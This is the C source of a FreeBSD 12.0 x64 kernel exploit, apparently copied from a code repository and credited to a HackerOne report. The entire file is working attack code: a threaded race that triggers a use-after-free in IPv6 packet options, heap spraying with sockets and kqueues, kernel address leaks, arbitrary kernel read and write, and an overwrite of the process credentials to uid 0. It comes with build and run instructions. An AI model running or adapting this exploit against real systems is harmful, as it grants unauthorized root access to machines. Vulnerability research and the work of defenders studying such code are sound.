612 lines
14 KiB
C
612 lines
14 KiB
C
/*
|
|
FreeBSD 12.0-RELEASE x64 Kernel Exploit
|
|
|
|
Usage:
|
|
$ clang -o exploit exploit.c -lpthread
|
|
$ ./exploit
|
|
*/
|
|
// msf note: written by theflow0: https://hackerone.com/reports/826026
|
|
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stddef.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <pthread.h>
|
|
#define _KERNEL
|
|
#include <sys/event.h>
|
|
#undef _KERNEL
|
|
#define _WANT_FILE
|
|
#include <sys/file.h>
|
|
#include <sys/filedesc.h>
|
|
#include <sys/param.h>
|
|
#include <sys/proc.h>
|
|
#include <sys/socket.h>
|
|
#define _WANT_SOCKET
|
|
#include <sys/socketvar.h>
|
|
#include <netinet/in.h>
|
|
#define _WANT_INPCB
|
|
#include <netinet/in_pcb.h>
|
|
#include <netinet/ip6.h>
|
|
#include <netinet6/ip6_var.h>
|
|
|
|
// #define FBSD12
|
|
|
|
#define ELF_MAGIC 0x464c457f
|
|
|
|
#define IPV6_2292PKTINFO 19
|
|
#define IPV6_2292PKTOPTIONS 25
|
|
|
|
#define TCLASS_MASTER 0x13370000
|
|
#define TCLASS_SPRAY 0x41
|
|
#define TCLASS_TAINT 0x42
|
|
|
|
#define NUM_SPRAY_RACE 0x20
|
|
#define NUM_SPRAY 0x100
|
|
#define NUM_KQUEUES 0x100
|
|
|
|
#ifdef FBSD12
|
|
#define ALLPROC_OFFSET 0x1df3c38
|
|
#else
|
|
#define ALLPROC_OFFSET 0xf01e40
|
|
#endif
|
|
|
|
#define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo))
|
|
#define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr))
|
|
#define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass))
|
|
|
|
#define PROC_LIST_OFFSET (offsetof(struct proc, p_list))
|
|
#define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred))
|
|
#define PROC_FD_OFFSET (offsetof(struct proc, p_fd))
|
|
#define PROC_PID_OFFSET (offsetof(struct proc, p_pid))
|
|
|
|
#ifdef FBSD12
|
|
|
|
#define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files))
|
|
#define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles))
|
|
#define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles))
|
|
#define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file))
|
|
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
|
|
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
|
|
|
|
#else
|
|
|
|
#define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles))
|
|
#define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles))
|
|
#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
|
|
#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
|
|
|
|
#endif
|
|
|
|
#define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop))
|
|
#define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach))
|
|
|
|
#define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb))
|
|
#define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts))
|
|
|
|
int kqueue(void);
|
|
int kevent(int kq, const struct kevent *changelist, int nchanges,
|
|
struct kevent *eventlist, int nevents,
|
|
const struct timespec *timeout);
|
|
|
|
static uint64_t kernel_base;
|
|
static uint64_t p_ucred, p_fd;
|
|
static uint64_t kevent_addr, pktopts_addr;
|
|
|
|
static int triggered = 0;
|
|
static int kevent_sock, master_sock, overlap_sock, victim_sock;
|
|
static int spray_sock[NUM_SPRAY];
|
|
static int kq[NUM_KQUEUES];
|
|
|
|
static void hexDump(const void *data, size_t size) {
|
|
size_t i;
|
|
for(i = 0; i < size; i++) {
|
|
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
|
|
}
|
|
printf("\n");
|
|
}
|
|
|
|
static int new_socket(void) {
|
|
return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
|
|
}
|
|
|
|
static void build_tclass_cmsg(char *buf, int val) {
|
|
struct cmsghdr *cmsg;
|
|
|
|
cmsg = (struct cmsghdr *)buf;
|
|
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
|
|
cmsg->cmsg_level = IPPROTO_IPV6;
|
|
cmsg->cmsg_type = IPV6_TCLASS;
|
|
|
|
*(int *)CMSG_DATA(cmsg) = val;
|
|
}
|
|
|
|
static int build_rthdr_msg(char *buf, int size) {
|
|
struct ip6_rthdr *rthdr;
|
|
int len;
|
|
|
|
len = ((size >> 3) - 1) & ~1;
|
|
size = (len + 1) << 3;
|
|
|
|
memset(buf, 0, size);
|
|
|
|
rthdr = (struct ip6_rthdr *)buf;
|
|
rthdr->ip6r_nxt = 0;
|
|
rthdr->ip6r_len = len;
|
|
rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
|
|
rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;
|
|
|
|
return size;
|
|
}
|
|
|
|
static int get_rthdr(int s, char *buf, socklen_t len) {
|
|
return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
|
|
}
|
|
|
|
static int set_rthdr(int s, char *buf, socklen_t len) {
|
|
return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
|
|
}
|
|
|
|
static int free_rthdr(int s) {
|
|
return set_rthdr(s, NULL, 0);
|
|
}
|
|
|
|
static int get_tclass(int s) {
|
|
int val;
|
|
socklen_t len = sizeof(val);
|
|
getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
|
|
return val;
|
|
}
|
|
|
|
static int set_tclass(int s, int val) {
|
|
return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
|
|
}
|
|
|
|
static int get_pktinfo(int s, char *buf) {
|
|
socklen_t len = sizeof(struct in6_pktinfo);
|
|
return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len);
|
|
}
|
|
|
|
static int set_pktinfo(int s, char *buf) {
|
|
return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo));
|
|
}
|
|
|
|
static int set_pktopts(int s, char *buf, socklen_t len) {
|
|
return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len);
|
|
}
|
|
|
|
static int free_pktopts(int s) {
|
|
return set_pktopts(s, NULL, 0);
|
|
}
|
|
|
|
static uint64_t leak_rthdr_ptr(int s) {
|
|
char buf[0x100];
|
|
get_rthdr(s, buf, sizeof(buf));
|
|
return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET);
|
|
}
|
|
|
|
static uint64_t leak_kmalloc(char *buf, int size) {
|
|
int rthdr_len = build_rthdr_msg(buf, size);
|
|
set_rthdr(master_sock, buf, rthdr_len);
|
|
#ifdef FBSD12
|
|
get_rthdr(master_sock, buf, rthdr_len);
|
|
return *(uint64_t *)(buf + 0x00);
|
|
#else
|
|
return leak_rthdr_ptr(overlap_sock);
|
|
#endif
|
|
}
|
|
|
|
static void write_to_victim(uint64_t addr) {
|
|
char buf[sizeof(struct in6_pktinfo)];
|
|
*(uint64_t *)(buf + 0x00) = addr;
|
|
*(uint64_t *)(buf + 0x08) = 0;
|
|
*(uint32_t *)(buf + 0x10) = 0;
|
|
set_pktinfo(master_sock, buf);
|
|
}
|
|
|
|
static int find_victim_sock(void) {
|
|
char buf[sizeof(struct in6_pktinfo)];
|
|
|
|
write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
|
|
|
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
|
get_pktinfo(spray_sock[i], buf);
|
|
if (*(uint64_t *)(buf + 0x00) != 0)
|
|
return i;
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
static uint8_t kread8(uint64_t addr) {
|
|
char buf[sizeof(struct in6_pktinfo)];
|
|
write_to_victim(addr);
|
|
get_pktinfo(victim_sock, buf);
|
|
return *(uint8_t *)buf;
|
|
}
|
|
|
|
static uint16_t kread16(uint64_t addr) {
|
|
char buf[sizeof(struct in6_pktinfo)];
|
|
write_to_victim(addr);
|
|
get_pktinfo(victim_sock, buf);
|
|
return *(uint16_t *)buf;
|
|
}
|
|
|
|
static uint32_t kread32(uint64_t addr) {
|
|
char buf[sizeof(struct in6_pktinfo)];
|
|
write_to_victim(addr);
|
|
get_pktinfo(victim_sock, buf);
|
|
return *(uint32_t *)buf;
|
|
}
|
|
|
|
static uint64_t kread64(uint64_t addr) {
|
|
char buf[sizeof(struct in6_pktinfo)];
|
|
write_to_victim(addr);
|
|
get_pktinfo(victim_sock, buf);
|
|
return *(uint64_t *)buf;
|
|
}
|
|
|
|
static void kread(void *dst, uint64_t src, size_t len) {
|
|
for (int i = 0; i < len; i++)
|
|
((uint8_t *)dst)[i] = kread8(src + i);
|
|
}
|
|
|
|
static void kwrite64(uint64_t addr, uint64_t val) {
|
|
int fd = open("/dev/kmem", O_RDWR);
|
|
if (fd >= 0) {
|
|
lseek(fd, addr, SEEK_SET);
|
|
write(fd, &val, sizeof(val));
|
|
close(fd);
|
|
}
|
|
}
|
|
|
|
static int kwrite(uint64_t addr, void *buf) {
|
|
write_to_victim(addr);
|
|
return set_pktinfo(victim_sock, buf);
|
|
}
|
|
|
|
static uint64_t find_kernel_base(uint64_t addr) {
|
|
addr &= ~(PAGE_SIZE - 1);
|
|
while (kread32(addr) != ELF_MAGIC)
|
|
addr -= PAGE_SIZE;
|
|
return addr;
|
|
}
|
|
|
|
static int find_proc_cred_and_fd(pid_t pid) {
|
|
uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET);
|
|
|
|
while (proc) {
|
|
if (kread32(proc + PROC_PID_OFFSET) == pid) {
|
|
p_ucred = kread64(proc + PROC_UCRED_OFFSET);
|
|
p_fd = kread64(proc + PROC_FD_OFFSET);
|
|
printf("[+] p_ucred: 0x%lx\n", p_ucred);
|
|
printf("[+] p_fd: 0x%lx\n", p_fd);
|
|
return 0;
|
|
}
|
|
|
|
proc = kread64(proc + PROC_LIST_OFFSET);
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
#ifdef FBSD12
|
|
|
|
static uint64_t find_socket_data(int s) {
|
|
uint64_t files, ofiles, fp;
|
|
int nfiles;
|
|
short type;
|
|
|
|
files = kread64(p_fd + FILEDESC_FILES_OFFSET);
|
|
if (!files)
|
|
return 0;
|
|
|
|
ofiles = files + FILEDESCENTTBL_OFILES_OFFSET;
|
|
|
|
nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET);
|
|
if (s < 0 || s >= nfiles)
|
|
return 0;
|
|
|
|
fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET);
|
|
if (!fp)
|
|
return 0;
|
|
|
|
type = kread16(fp + FILE_TYPE_OFFSET);
|
|
if (type != DTYPE_SOCKET)
|
|
return 0;
|
|
|
|
return kread64(fp + FILE_DATA_OFFSET);
|
|
}
|
|
|
|
#else
|
|
|
|
static uint64_t find_socket_data(int s) {
|
|
uint64_t ofiles, fp;
|
|
int nfiles;
|
|
short type;
|
|
|
|
ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET);
|
|
if (!ofiles)
|
|
return 0;
|
|
|
|
nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET);
|
|
if (s < 0 || s >= nfiles)
|
|
return 0;
|
|
|
|
fp = kread64(ofiles + s * sizeof(struct file *));
|
|
if (!fp)
|
|
return 0;
|
|
|
|
type = kread16(fp + FILE_TYPE_OFFSET);
|
|
if (type != DTYPE_SOCKET)
|
|
return 0;
|
|
|
|
return kread64(fp + FILE_DATA_OFFSET);
|
|
}
|
|
|
|
#endif
|
|
|
|
static uint64_t find_socket_pcb(int s) {
|
|
uint64_t f_data;
|
|
|
|
f_data = find_socket_data(s);
|
|
if (!f_data)
|
|
return 0;
|
|
|
|
return kread64(f_data + SOCKET_PCB_OFFSET);
|
|
}
|
|
|
|
static uint64_t find_socket_pktopts(int s) {
|
|
uint64_t in6p;
|
|
|
|
in6p = find_socket_pcb(s);
|
|
if (!in6p)
|
|
return 0;
|
|
|
|
return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET);
|
|
}
|
|
|
|
static void cleanup(void) {
|
|
uint64_t master_pktopts, overlap_pktopts, victim_pktopts;
|
|
|
|
master_pktopts = find_socket_pktopts(master_sock);
|
|
overlap_pktopts = find_socket_pktopts(overlap_sock);
|
|
victim_pktopts = find_socket_pktopts(victim_sock);
|
|
|
|
kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
|
|
kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0);
|
|
kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
|
|
}
|
|
|
|
static void escalate_privileges(void) {
|
|
char buf[sizeof(struct in6_pktinfo)];
|
|
|
|
*(uint32_t *)(buf + 0x00) = 0; // cr_uid
|
|
*(uint32_t *)(buf + 0x04) = 0; // cr_ruid
|
|
*(uint32_t *)(buf + 0x08) = 0; // cr_svuid
|
|
*(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups
|
|
*(uint32_t *)(buf + 0x10) = 0; // cr_rgid
|
|
|
|
kwrite(p_ucred + 4, buf);
|
|
}
|
|
|
|
static int find_overlap_sock(void) {
|
|
set_tclass(master_sock, TCLASS_TAINT);
|
|
|
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
|
if (get_tclass(spray_sock[i]) == TCLASS_TAINT)
|
|
return i;
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
|
|
static int spray_pktopts(void) {
|
|
for (int i = 0; i < NUM_SPRAY_RACE; i++)
|
|
set_tclass(spray_sock[i], TCLASS_SPRAY);
|
|
|
|
if (get_tclass(master_sock) == TCLASS_SPRAY)
|
|
return 1;
|
|
|
|
for (int i = 0; i < NUM_SPRAY_RACE; i++)
|
|
free_pktopts(spray_sock[i]);
|
|
|
|
return 0;
|
|
}
|
|
|
|
static void *use_thread(void *arg) {
|
|
char buf[CMSG_SPACE(sizeof(int))];
|
|
build_tclass_cmsg(buf, 0);
|
|
|
|
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
|
|
set_pktopts(master_sock, buf, sizeof(buf));
|
|
|
|
#ifdef FBSD12
|
|
usleep(100);
|
|
#endif
|
|
}
|
|
|
|
triggered = 1;
|
|
return NULL;
|
|
}
|
|
|
|
static void *free_thread(void *arg) {
|
|
while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
|
|
free_pktopts(master_sock);
|
|
|
|
#ifdef FBSD12
|
|
if (spray_pktopts())
|
|
break;
|
|
#endif
|
|
|
|
usleep(100);
|
|
}
|
|
|
|
triggered = 1;
|
|
return NULL;
|
|
}
|
|
|
|
static int trigger_uaf(void) {
|
|
pthread_t th[2];
|
|
|
|
pthread_create(&th[0], NULL, use_thread, NULL);
|
|
pthread_create(&th[1], NULL, free_thread, NULL);
|
|
|
|
while (1) {
|
|
if (spray_pktopts())
|
|
break;
|
|
|
|
#ifndef FBSD12
|
|
usleep(100);
|
|
#endif
|
|
}
|
|
|
|
triggered = 1;
|
|
|
|
pthread_join(th[0], NULL);
|
|
pthread_join(th[1], NULL);
|
|
|
|
return find_overlap_sock();
|
|
}
|
|
|
|
static int fake_pktopts(uint64_t pktinfo) {
|
|
char buf[0x100];
|
|
int rthdr_len, tclass;
|
|
|
|
// Free master_sock's pktopts
|
|
free_pktopts(overlap_sock);
|
|
|
|
// Spray rthdr's to refill master_sock's pktopts
|
|
rthdr_len = build_rthdr_msg(buf, 0x100);
|
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
|
*(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo;
|
|
*(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET) = TCLASS_MASTER | i;
|
|
set_rthdr(spray_sock[i], buf, rthdr_len);
|
|
}
|
|
|
|
tclass = get_tclass(master_sock);
|
|
|
|
// See if pktopts has been refilled correctly
|
|
if ((tclass & 0xffff0000) != TCLASS_MASTER) {
|
|
printf("[-] Error could not refill pktopts.\n");
|
|
exit(1);
|
|
}
|
|
|
|
return tclass & 0xffff;
|
|
}
|
|
|
|
static void leak_kevent_pktopts(void) {
|
|
char buf[0x800];
|
|
|
|
struct kevent kv;
|
|
EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL);
|
|
|
|
// Free pktopts
|
|
for (int i = 0; i < NUM_SPRAY; i++)
|
|
free_pktopts(spray_sock[i]);
|
|
|
|
// Leak 0x800 kmalloc addr
|
|
kevent_addr = leak_kmalloc(buf, 0x800);
|
|
printf("[+] kevent_addr: 0x%lx\n", kevent_addr);
|
|
|
|
// Free rthdr buffer and spray kevents to occupy this location
|
|
free_rthdr(master_sock);
|
|
for (int i = 0; i < NUM_KQUEUES; i++)
|
|
kevent(kq[i], &kv, 1, 0, 0, 0);
|
|
|
|
// Leak 0x100 kmalloc addr
|
|
pktopts_addr = leak_kmalloc(buf, 0x100);
|
|
printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr);
|
|
|
|
// Free rthdr buffer and spray pktopts to occupy this location
|
|
free_rthdr(master_sock);
|
|
for (int i = 0; i < NUM_SPRAY; i++)
|
|
set_tclass(spray_sock[i], 0);
|
|
}
|
|
|
|
int main(int argc, char *argv[]) {
|
|
uint64_t knote, kn_fop, f_detach;
|
|
int idx;
|
|
|
|
printf("[*] Initializing sockets...\n");
|
|
|
|
kevent_sock = new_socket();
|
|
master_sock = new_socket();
|
|
|
|
for (int i = 0; i < NUM_SPRAY; i++)
|
|
spray_sock[i] = new_socket();
|
|
|
|
for (int i = 0; i < NUM_KQUEUES; i++)
|
|
kq[i] = kqueue();
|
|
|
|
printf("[*] Triggering UAF...\n");
|
|
idx = trigger_uaf();
|
|
if (idx == -1) {
|
|
printf("[-] Error could not find overlap sock.\n");
|
|
exit(1);
|
|
}
|
|
|
|
// master_sock and overlap_sock point to the same pktopts
|
|
overlap_sock = spray_sock[idx];
|
|
spray_sock[idx] = new_socket();
|
|
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
|
|
|
// Reallocate pktopts
|
|
for (int i = 0; i < NUM_SPRAY; i++) {
|
|
free_pktopts(spray_sock[i]);
|
|
set_tclass(spray_sock[i], 0);
|
|
}
|
|
|
|
// Fake master pktopts
|
|
idx = fake_pktopts(0);
|
|
overlap_sock = spray_sock[idx];
|
|
spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier
|
|
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
|
|
|
// Leak address of some kevent and pktopts
|
|
leak_kevent_pktopts();
|
|
|
|
// Fake master pktopts
|
|
idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
|
|
overlap_sock = spray_sock[idx];
|
|
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
|
|
|
idx = find_victim_sock();
|
|
if (idx == -1) {
|
|
printf("[-] Error could not find victim sock.\n");
|
|
exit(1);
|
|
}
|
|
|
|
victim_sock = spray_sock[idx];
|
|
printf("[+] Victim socket: %x (%x)\n", victim_sock, idx);
|
|
|
|
printf("[+] Arbitrary R/W achieved.\n");
|
|
|
|
knote = kread64(kevent_addr + kevent_sock * sizeof(uintptr_t));
|
|
kn_fop = kread64(knote + KNOTE_FOP_OFFSET);
|
|
f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET);
|
|
|
|
printf("[+] knote: 0x%lx\n", knote);
|
|
printf("[+] kn_fop: 0x%lx\n", kn_fop);
|
|
printf("[+] f_detach: 0x%lx\n", f_detach);
|
|
|
|
printf("[+] Finding kernel base...\n");
|
|
kernel_base = find_kernel_base(f_detach);
|
|
printf("[+] Kernel base: 0x%lx\n", kernel_base);
|
|
|
|
printf("[+] Finding process cred and fd...\n");
|
|
find_proc_cred_and_fd(getpid());
|
|
|
|
printf("[*] Escalating privileges...\n");
|
|
escalate_privileges();
|
|
|
|
printf("[*] Cleaning up...\n");
|
|
cleanup();
|
|
|
|
printf("[+] Done.\n");
|
|
|
|
return 0;
|
|
}
|